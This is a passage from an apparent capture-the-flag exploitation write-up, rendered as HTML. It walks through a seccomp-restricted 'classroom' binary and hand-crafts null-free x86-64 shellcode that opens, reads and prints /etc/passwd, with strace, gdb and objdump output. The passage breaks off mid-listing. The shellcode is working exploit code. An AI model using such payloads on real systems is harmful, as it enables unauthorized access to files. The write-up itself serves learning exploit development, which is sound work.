class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20"</span>..., 332<span class="o">)</span> <span class="o">=</span> 332
write<span class="o">(</span>1, <span class="s2">"What are you doing here?! Kids a"</span>..., 58<span class="o">)</span> <span class="o">=</span> 58
open<span class="o">(</span><span class="s2">"/etc/passwd"</span>, O_RDONLY<span class="o">)</span>           <span class="o">=</span> 5
fstat<span class="o">(</span>5, &lt; 2024/08/06 19:05:54.140513  <span class="nv">length</span><span class="o">=</span>58 <span class="nv">from</span><span class="o">=</span>745 <span class="nv">to</span><span class="o">=</span>802
What are you doing here?! Kids are not allowed here! ....
 &lt;unfinished ...&gt;<span class="o">)</span>             <span class="o">=</span> ?
+++ killed by SIGSYS <span class="o">(</span>core dumped<span class="o">)</span> +++
<span class="nb">timeout</span>: the monitored <span class="nb">command </span>dumped core
2024/08/06 19:05:54 socat[8944] E waitpid<span class="o">()</span>: child 8946 exited on signal 31
user@u1804:~<span class="nv">$ </span>
</code></pre></div></div>

<p>Well, it still crashes.. but for another reason. The very last thing executed was the <code class="language-plaintext highlighter-rouge">fstat</code> system call <code class="language-plaintext highlighter-rouge">fstat(5, &lt; 2024/08/06 19:05:54.140513  length=58 from=745 to=802</code>.
If you recall, that was not in the <code class="language-plaintext highlighter-rouge">seccomp</code> allowed system calls, and as such the program got killed.</p>

<p>We also get a <code class="language-plaintext highlighter-rouge">signal 31</code> exit code, <a href="https://faculty.cs.niu.edu/~hutchins/csci480/signals.htm">confirming</a> it’s a bad system call.</p>

<p>On the upside the <code class="language-plaintext highlighter-rouge">open("/etc/passwd", O_RDONLY)</code> succeeded.</p>

<p>We can also confirm it with in gdb. Observe that the same segment is mapped as <code class="language-plaintext highlighter-rouge">rwxp</code> now, instead of <code class="language-plaintext highlighter-rouge">rw-p</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">info</span> <span class="n">proc</span> <span class="n">mappings</span>                                                             
<span class="n">process</span> <span class="mi">4512</span>                                                                           
<span class="n">Mapped</span> <span class="n">address</span> <span class="n">spaces</span><span class="o">:</span>                                                                                       
                                                                                       
          <span class="n">Start</span> <span class="n">Addr</span>           <span class="n">End</span> <span class="n">Addr</span>       <span class="n">Size</span>     <span class="n">Offset</span>  <span class="n">Perms</span>  <span class="n">objfile</span>          
            <span class="mh">0x400000</span>           <span class="mh">0x402000</span>     <span class="mh">0x2000</span>        <span class="mh">0x0</span>  <span class="n">r</span><span class="o">-</span><span class="n">xp</span>   <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">user</span><span class="o">/</span><span class="n">classroom</span>
            <span class="mh">0x601000</span>           <span class="mh">0x602000</span>     <span class="mh">0x1000</span>     <span class="mh">0x1000</span>  <span class="n">r</span><span class="o">-</span><span class="n">xp</span>   <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">user</span><span class="o">/</span><span class="n">classroom</span>
            <span class="mh">0x602000</span>           <span class="mh">0x603000</span>     <span class="mh">0x1000</span>     <span class="mh">0x2000</span>  <span class="n">rwxp</span>   <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">user</span><span class="o">/</span><span class="n">classroom</span>   <span class="o">&lt;---</span>
</code></pre></div></div>

<h2 id="hand-crafting-shellcode">Hand crafting shellcode</h2>

<p>We’ll need to craft some shellcode that handles opening a file, reading it, and writing it’s content to stdout.</p>

<p>Lucking enough, the system calls that are allowed by <code class="language-plaintext highlighter-rouge">seccomp</code> are <a href="https://man7.org/linux/man-pages/man2/read.2.html">read()</a>, <a href="https://man7.org/linux/man-pages/man2/open.2.html">open()</a>, <a href="https://man7.org/linux/man-pages/man2/write.2.html">write()</a>, and <a href="https://man7.org/linux/man-pages/man2/exit.2.html">exit()</a>.</p>

<h3 id="open">open()</h3>
<p>open() system call opens the file specified by pathname.  If the specified file does not exist, it may optionally (if O_CREAT is specified in flags) be created by open(). The return value of open() is a file descriptor, a small, nonnegative integer that is an index to an entry in the process’s table of open file descriptors.</p>

<h3 id="read">read()</h3>
<p>attempts to read up to <code class="language-plaintext highlighter-rouge">_count_</code> bytes from file descriptor <code class="language-plaintext highlighter-rouge">_fd_</code> into the buffer starting at <code class="language-plaintext highlighter-rouge">_buf_</code></p>

<h3 id="write">write()</h3>
<p>write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.</p>

<h3 id="exit">exit()</h3>
<p>exit() terminates the calling process “immediately”.</p>

<p>Having in mind the linux kernel system call <a href="https://github.com/torvalds/linux/blob/0c3836482481200ead7b416ca80c68a29cfdaabd/arch/x86/entry/entry_64.S#L50">implementation</a> we need to form our system calls as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="o">*</span> <span class="n">Registers</span> <span class="n">on</span> <span class="n">entry</span><span class="o">:</span>
 <span class="o">*</span> <span class="n">rax</span>  <span class="n">system</span> <span class="n">call</span> <span class="n">number</span>
 <span class="o">*</span> <span class="n">rcx</span>  <span class="k">return</span> <span class="n">address</span>
 <span class="o">*</span> <span class="n">r11</span>  <span class="n">saved</span> <span class="n">rflags</span> <span class="p">(</span><span class="n">note</span><span class="o">:</span> <span class="n">r11</span> <span class="n">is</span> <span class="n">callee</span><span class="o">-</span><span class="n">clobbered</span> <span class="k">register</span> <span class="n">in</span> <span class="n">C</span> <span class="n">ABI</span><span class="p">)</span>
 <span class="o">*</span> <span class="n">rdi</span>  <span class="n">arg0</span>
 <span class="o">*</span> <span class="n">rsi</span>  <span class="n">arg1</span>
 <span class="o">*</span> <span class="n">rdx</span>  <span class="n">arg2</span>
 <span class="o">*</span> <span class="n">r10</span>  <span class="n">arg3</span> <span class="p">(</span><span class="n">needs</span> <span class="n">to</span> <span class="n">be</span> <span class="n">moved</span> <span class="n">to</span> <span class="n">rcx</span> <span class="n">to</span> <span class="n">conform</span> <span class="n">to</span> <span class="n">C</span> <span class="n">ABI</span><span class="p">)</span>
 <span class="o">*</span> <span class="n">r8</span>   <span class="n">arg4</span>
 <span class="o">*</span> <span class="n">r9</span>   <span class="n">arg5</span>
 <span class="o">*</span> <span class="p">(</span><span class="n">note</span><span class="o">:</span> <span class="n">r12</span><span class="o">-</span><span class="n">r15</span><span class="p">,</span> <span class="n">rbp</span><span class="p">,</span> <span class="n">rbx</span> <span class="n">are</span> <span class="n">callee</span><span class="o">-</span><span class="n">preserved</span> <span class="n">in</span> <span class="n">C</span> <span class="n">ABI</span><span class="p">)</span>
</code></pre></div></div>

<p>The simplest asm code implementing these calls looks similar to:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">;</span> <span class="n">nasm</span> <span class="o">-</span><span class="n">f</span> <span class="n">elf64</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="p">.</span><span class="n">asm</span> <span class="o">-</span><span class="n">o</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="p">.</span><span class="n">o</span> <span class="p">;</span> <span class="n">ld</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="p">.</span><span class="n">o</span> <span class="o">-</span><span class="n">o</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span>

<span class="n">section</span> <span class="p">.</span><span class="n">data</span>
    <span class="n">filename</span> <span class="n">db</span> <span class="err">'</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="err">'</span><span class="p">,</span> <span class="mi">0</span>  <span class="p">;</span> <span class="n">Filename</span> <span class="n">to</span> <span class="n">open</span>

<span class="n">section</span> <span class="p">.</span><span class="n">text</span>
    <span class="n">global</span> <span class="n">_start</span>

<span class="n">_start</span><span class="o">:</span>
    <span class="p">;</span> <span class="n">Open</span> <span class="n">the</span> <span class="nf">file</span> <span class="p">(</span><span class="n">sys_open</span><span class="p">)</span> 
    <span class="p">;</span> <span class="kt">int</span> <span class="nf">open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pathname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span> <span class="p">...</span> <span class="cm">/* mode_t mode */</span> <span class="p">);</span> <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">filename</span> <span class="p">,</span> <span class="err">$</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">flags</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">2</span>                          <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_open</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">filename</span>                   <span class="p">;</span> <span class="n">filename</span>
    <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="mi">0</span>                          <span class="p">;</span> <span class="n">flags</span> <span class="p">(</span><span class="n">O_RDONLY</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
    <span class="p">;</span>   <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="mi">0</span>                      <span class="p">;</span> <span class="n">mode</span> <span class="p">(</span><span class="n">not</span> <span class="n">needed</span> <span class="k">for</span> <span class="n">read</span><span class="p">())</span>
    <span class="n">syscall</span>
    <span class="n">mov</span> <span class="n">rbx</span><span class="p">,</span> <span class="n">rax</span>                        <span class="p">;</span> <span class="n">store</span> <span class="n">file</span> <span class="n">descriptor</span> <span class="n">in</span> <span class="n">rbx</span>

    <span class="p">;</span> <span class="n">Read</span> <span class="n">the</span> <span class="nf">file</span> <span class="p">(</span><span class="n">sys_read</span><span class="p">)</span>
    <span class="p">;</span> <span class="kt">ssize_t</span> <span class="nf">read</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">void</span> <span class="n">buf</span><span class="p">[.</span><span class="n">count</span><span class="p">],</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">);</span>  <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">file</span> <span class="n">descriptor</span> <span class="n">from</span> <span class="err">$</span><span class="n">rbx</span><span class="p">,</span> <span class="err">$</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">where</span> <span class="n">to</span> <span class="n">read</span> <span class="n">into</span><span class="p">,</span> <span class="err">$</span><span class="n">rdx</span> <span class="o">=</span> <span class="err">#</span> <span class="n">bytes</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">0</span>                          <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_read</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rbx</span>                        <span class="p">;</span> <span class="n">file</span> <span class="n">descriptor</span>
    <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>                        <span class="p">;</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">read</span> <span class="n">into</span>
    <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="mi">300</span>                        <span class="p">;</span> <span class="n">number</span> <span class="n">of</span> <span class="n">bytes</span> <span class="n">to</span> <span class="n">read</span> <span class="o">-</span> <span class="mi">300</span> <span class="n">in</span> <span class="n">this</span> <span class="k">case</span>
    <span class="n">syscall</span>

    <span class="p">;</span> <span class="n">Write</span> <span class="n">the</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">stdout</span> <span class="p">(</span><span class="n">sys_write</span><span class="p">)</span>
    <span class="p">;</span> <span class="kt">ssize_t</span> <span class="n">write</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="n">buf</span><span class="p">[.</span><span class="n">count</span><span class="p">],</span> <span class="kt">size_t</span> <span class="n">count</span><span class="p">);</span>  <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">stdout</span><span class="p">,</span> <span class="err">$</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">write</span> <span class="n">from</span><span class="p">,</span> <span class="err">$</span><span class="n">rdx</span> <span class="o">=</span> <span class="err">#</span><span class="n">bytes</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">1</span>                          <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_write</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="mi">1</span>                          <span class="p">;</span> <span class="n">file</span> <span class="n">descriptor</span> <span class="p">(</span><span class="n">stdout</span><span class="p">)</span>
    <span class="p">;</span>   <span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>                    <span class="p">;</span> <span class="n">buffer</span> <span class="n">to</span> <span class="n">write</span> <span class="n">from</span> <span class="p">(</span><span class="n">already</span> <span class="n">there</span> <span class="n">from</span> <span class="n">read</span><span class="p">())</span>
    <span class="p">;</span>   <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="n">rbx</span>                    <span class="p">;</span> <span class="n">number</span> <span class="n">of</span> <span class="n">bytes</span> <span class="n">to</span> <span class="n">write</span> <span class="p">(</span><span class="n">already</span> <span class="n">there</span> <span class="n">from</span> <span class="n">read</span><span class="p">())</span>
    <span class="n">syscall</span>

    <span class="p">;</span> <span class="n">Exit</span> <span class="n">the</span> <span class="n">program</span> <span class="p">(</span><span class="n">sys_exit</span><span class="p">)</span>
    <span class="p">;</span> <span class="p">[[</span><span class="n">noreturn</span><span class="p">]]</span> <span class="kt">void</span> <span class="n">_exit</span><span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">);</span>  <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="err">τα</span> <span class="err">ειπαμε</span>
    <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">60</span>                         <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_exit</span>
    <span class="n">xor</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rdi</span>                        <span class="p">;</span> <span class="n">exit</span> <span class="n">code</span> <span class="mi">0</span>
    <span class="n">syscall</span>
</code></pre></div></div>

<p>If we compile and run it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>nasm <span class="nt">-f</span> elf64 open-read-write.asm <span class="nt">-o</span> open-read-write.o <span class="p">;</span> ld open-read-write.o <span class="nt">-o</span> open-read-write 
~/D/W/b/pwn <span class="nv">$ </span>./open-read-write 
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<span class="nb">sync</span>:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/⏎                                                                                                                              
~/D/W/b/pwn <span class="nv">$ </span>
</code></pre></div></div>

<p>Although it works, there are two problems with this shellcode:</p>
<ul>
  <li>it produces <strong>a lot</strong> of null bytes.</li>
  <li>we cannot easily extract shellcode from it since it uses references to the .data segment.</li>
</ul>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">objdump</span> <span class="o">-</span><span class="n">Mintel</span> <span class="o">-</span><span class="n">D</span> <span class="o">-</span><span class="n">z</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span>

<span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="o">:</span>     <span class="n">file</span> <span class="n">format</span> <span class="n">elf64</span><span class="o">-</span><span class="n">x86</span><span class="o">-</span><span class="mi">64</span>


<span class="n">Disassembly</span> <span class="n">of</span> <span class="n">section</span> <span class="p">.</span><span class="n">text</span><span class="o">:</span>

<span class="mo">0000000000401000</span> <span class="o">&lt;</span><span class="n">_start</span><span class="o">&gt;:</span>
  <span class="mi">401000</span><span class="o">:</span>       <span class="n">b8</span> <span class="mo">02</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x2</span>
  <span class="mi">401005</span><span class="o">:</span>       <span class="mi">48</span> <span class="n">bf</span> <span class="mo">00</span> <span class="mi">20</span> <span class="mi">40</span> <span class="mo">00</span> <span class="mo">00</span>    <span class="n">movabs</span> <span class="n">rdi</span><span class="p">,</span><span class="mh">0x402000</span>
  <span class="mi">40100</span><span class="n">c</span><span class="o">:</span>       <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> 
  <span class="mi">40100</span><span class="n">f</span><span class="o">:</span>       <span class="n">be</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">esi</span><span class="p">,</span><span class="mh">0x0</span>
  <span class="mi">401014</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
  <span class="mi">401016</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">c3</span>                <span class="n">mov</span>    <span class="n">rbx</span><span class="p">,</span><span class="n">rax</span>
  <span class="mi">401019</span><span class="o">:</span>       <span class="n">b8</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
  <span class="mi">40101</span><span class="n">e</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">df</span>                <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rbx</span>
  <span class="mi">401021</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">89</span> <span class="n">e6</span>                <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rsp</span>
  <span class="mi">401024</span><span class="o">:</span>       <span class="n">ba</span> <span class="mi">2</span><span class="n">c</span> <span class="mo">01</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x12c</span>
  <span class="mi">401029</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
  <span class="mi">40102</span><span class="n">b</span><span class="o">:</span>       <span class="n">b8</span> <span class="mo">01</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x1</span>
  <span class="mi">401030</span><span class="o">:</span>       <span class="n">bf</span> <span class="mo">01</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x1</span>
  <span class="mi">401035</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>
  <span class="mi">401037</span><span class="o">:</span>       <span class="n">b8</span> <span class="mi">3</span><span class="n">c</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>          <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x3c</span>
  <span class="mi">40103</span><span class="n">c</span><span class="o">:</span>       <span class="mi">48</span> <span class="mi">31</span> <span class="n">ff</span>                <span class="n">xor</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rdi</span>
  <span class="mi">40103</span><span class="n">f</span><span class="o">:</span>       <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span>                   <span class="n">syscall</span>

<span class="n">Disassembly</span> <span class="n">of</span> <span class="n">section</span> <span class="p">.</span><span class="n">data</span><span class="o">:</span>

<span class="mo">0000000000402000</span> <span class="o">&lt;</span><span class="n">filename</span><span class="o">&gt;:</span>
  <span class="mi">402000</span><span class="o">:</span>       <span class="mi">2</span><span class="n">f</span>                      <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
  <span class="mi">402001</span><span class="o">:</span>       <span class="mi">65</span> <span class="mi">74</span> <span class="mi">63</span>                <span class="n">gs</span> <span class="n">je</span>  <span class="mi">402067</span> <span class="o">&lt;</span><span class="n">_end</span><span class="o">+</span><span class="mh">0x57</span><span class="o">&gt;</span>
  <span class="mi">402004</span><span class="o">:</span>       <span class="mi">2</span><span class="n">f</span>                      <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
  <span class="mi">402005</span><span class="o">:</span>       <span class="mi">70</span> <span class="mi">61</span>                   <span class="n">jo</span>     <span class="mi">402068</span> <span class="o">&lt;</span><span class="n">_end</span><span class="o">+</span><span class="mh">0x58</span><span class="o">&gt;</span>
  <span class="mi">402007</span><span class="o">:</span>       <span class="mi">73</span> <span class="mi">73</span>                   <span class="n">jae</span>    <span class="mi">40207</span><span class="n">c</span> <span class="o">&lt;</span><span class="n">_end</span><span class="o">+</span><span class="mh">0x6c</span><span class="o">&gt;</span>
  <span class="mi">402009</span><span class="o">:</span>       <span class="mi">77</span> <span class="mi">64</span>                   <span class="n">ja</span>     <span class="mi">40206</span><span class="n">f</span> <span class="o">&lt;</span><span class="n">_end</span><span class="o">+</span><span class="mh">0x5f</span><span class="o">&gt;</span>
  <span class="mi">40200</span><span class="n">b</span><span class="o">:</span>       <span class="mo">00</span>                      <span class="p">.</span><span class="n">byte</span> <span class="mi">0</span>
<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> 
</code></pre></div></div>

<p>Let’s rework it. What we are doing here is first moving the filename string to the .text section, writting it to the stack, and then poping it to a register. 
Also, we include an XOR operation to recover a null byte and properly terminate the filename string.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">push</span> <span class="mh">0x00647773</span> <span class="o">^</span> <span class="mh">0x41414141</span>        <span class="p">;</span> <span class="n">we</span> <span class="n">are</span> <span class="n">pushing</span> <span class="s">"/etc/passwd%00"</span> <span class="p">(</span><span class="n">backwords</span> <span class="n">due</span> <span class="n">to</span> <span class="n">endianess</span><span class="p">)</span> <span class="p">;</span> <span class="n">here</span> <span class="s">"%00dws"</span> <span class="n">XORed</span> <span class="n">with</span> <span class="s">"AAAA"</span><span class="p">;</span>  
<span class="n">xor</span> <span class="n">dword</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span> <span class="mh">0x41414141</span>         <span class="p">;</span> <span class="n">we</span> <span class="n">are</span> <span class="n">XORing</span> <span class="n">the</span> <span class="n">pushed</span> <span class="n">value</span> <span class="n">with</span> <span class="s">"AAAA"</span> <span class="n">to</span> <span class="n">get</span> <span class="s">"%00dws"</span> <span class="n">back</span> <span class="n">on</span> <span class="n">stack</span>
<span class="n">mov</span> <span class="n">r14</span><span class="p">,</span> <span class="mh">0x7361702f6374652f</span>         <span class="p">;</span> <span class="n">we</span> <span class="n">are</span> <span class="n">moving</span> <span class="s">"/etc/pas"</span> <span class="n">to</span> <span class="err">$</span><span class="n">r14</span> 
<span class="n">push</span> <span class="n">r14</span>                            <span class="p">;</span> <span class="n">and</span> <span class="n">pushing</span> <span class="n">it</span> <span class="n">on</span> <span class="n">the</span> <span class="n">stack</span><span class="p">,</span> 
                                    <span class="p">;</span> <span class="n">essentially</span> <span class="n">reconstructing</span> <span class="n">the</span> <span class="n">string</span> <span class="s">"/etc/passwd%00"</span> <span class="n">at</span> <span class="n">the</span> <span class="n">address</span> <span class="n">pointed</span> <span class="n">to</span> <span class="n">by</span> <span class="err">$</span><span class="n">rsp</span>
</code></pre></div></div>

<p>Additionally, we are substituting op codes that include null bytes to null free equivelants, for example:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ <span class="nv">$ </span>pwn asm <span class="nt">-c</span> amd64 <span class="s2">"mov eax,0x2"</span>              <span class="c"># FROM</span>
b802000000
~ <span class="nv">$ </span>pwn asm <span class="nt">-c</span> amd64 <span class="s2">"xor rax, rax; mov al, 2"</span>  <span class="c"># TO</span>
4831c0b002
~ <span class="nv">$ </span>
</code></pre></div></div>

<p>Evantually we can get to something like the below:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">;</span> <span class="n">nasm</span> <span class="o">-</span><span class="n">f</span> <span class="n">elf64</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="p">.</span><span class="n">asm</span> <span class="o">-</span><span class="n">o</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="p">.</span><span class="n">o</span> <span class="p">;</span> <span class="n">ld</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span><span class="p">.</span><span class="n">o</span> <span class="o">-</span><span class="n">o</span> <span class="n">open</span><span class="o">-</span><span class="n">read</span><span class="o">-</span><span class="n">write</span>

<span class="n">section</span> <span class="p">.</span><span class="n">text</span>
    <span class="n">global</span> <span class="n">_start</span>

<span class="n">_start</span><span class="o">:</span>
    <span class="p">;</span> <span class="n">Open</span> <span class="n">the</span> <span class="nf">file</span> <span class="p">(</span><span class="n">sys_open</span><span class="p">)</span> 
    <span class="p">;</span> <span class="kt">int</span> <span class="nf">open</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pathname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span> <span class="p">...</span> <span class="cm">/* mode_t mode */</span> <span class="p">);</span> <span class="o">&lt;--</span> <span class="err">$</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">filename</span> <span class="p">,</span> <span class="err">$</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">flags</span>
    <span class="n">push</span> <span class="mh">0x00647773</span> <span class="o">^</span> <span class="mh">0x41414141</span>        <span class="p">;</span> <span class="n">we</span> <span class="n">are</span> <span class="n">pushing</span> <span class="s">"/etc/passwd%00"</span> <span class="n">backwords</span> <span class="n">due</span> <span class="n">to</span> <span class="n">endianess</span> <span class="p">;</span> <span class="n">here</span> <span class="s">"%00dws"</span> <span class="n">XORed</span> <span class="n">with</span> <span class="s">"AAAA"</span><span class="p">;</span>  
    <span class="n">xor</span> <span class="n">dword</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span> <span class="mh">0x41414141</span>         <span class="p">;</span> <span class="n">we</span> <span class="n">are</span> <span class="n">XORing</span> <span class="n">the</span> <span class="n">pushed</span> <span class="n">value</span> <span class="n">with</span> <span class="s">"AAAA"</span> <span class="n">to</span> <span class="n">get</span> <span class="s">"%00dws"</span> <span class="n">back</span> <span class="n">on</span> <span class="n">stack</span>
    <span class="n">mov</span> <span class="n">r14</span><span class="p">,</span> <span class="mh">0x7361702f6374652f</span>         <span class="p">;</span> <span class="n">we</span> <span class="n">are</span> <span class="n">moving</span> <span class="s">"/etc/pas"</span> <span class="n">to</span> <span class="err">$</span><span class="n">r14</span> 
    <span class="n">push</span> <span class="n">r14</span>                            <span class="p">;</span> <span class="n">and</span> <span class="n">pushing</span> <span class="n">it</span> <span class="n">on</span> <span class="n">the</span> <span class="n">stack</span><span class="p">,</span> 
                                        <span class="p">;</span> <span class="n">essentially</span> <span class="n">reconstructing</span> <span class="n">the</span> <span class="n">string</span> <span class="s">"/etc/passwd%00"</span> <span class="n">at</span> <span class="n">the</span> <span class="n">address</span> <span class="n">pointed</span> <span class="n">to</span> <span class="n">by</span> <span class="err">$</span><span class="n">rsp</span>
    <span class="n">xor</span> <span class="n">rax</span><span class="p">,</span> <span class="n">rax</span>                        <span class="p">;</span> <span class="n">nullyfing</span> <span class="err">$</span><span class="n">rax</span>
    <span class="n">mov</span> <span class="n">al</span><span class="p">,</span> <span class="mi">2</span>                           <span class="p">;</span> <span class="n">syscall</span> <span class="n">number</span> <span class="k">for</span> <span class="n">sys_open</span> <span class="p">(</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rsp</span>                        <span class="p">;</span> <span class="n">filename</span> <span class="n">to</span> <span class="n">rdi</span>
    <span class="n">xor</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsi</span>                        <span class="p">;</span> <span class="n">flags</span> <span class="p">(</span><span class="n">O_RDONLY</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
    <span class="n">syscall</span>
    <span class="n">mov</span> <span class="n">rbx</span><span class="p">,</span> <span class="n">rax</span>                        <span class="p">;</span> <span class="n">store</span> <span class="n">file</span> <span class="n">descriptor</span> <span class="n">in</span> <span class="n">rbx</span>

    <span class="p">;</span> <span class="n">Read</span> <span class="n">the</span> <span class="nf">file</span> <span class="p">(</span><span class="n">sys_read</span><span class="p">)</span>
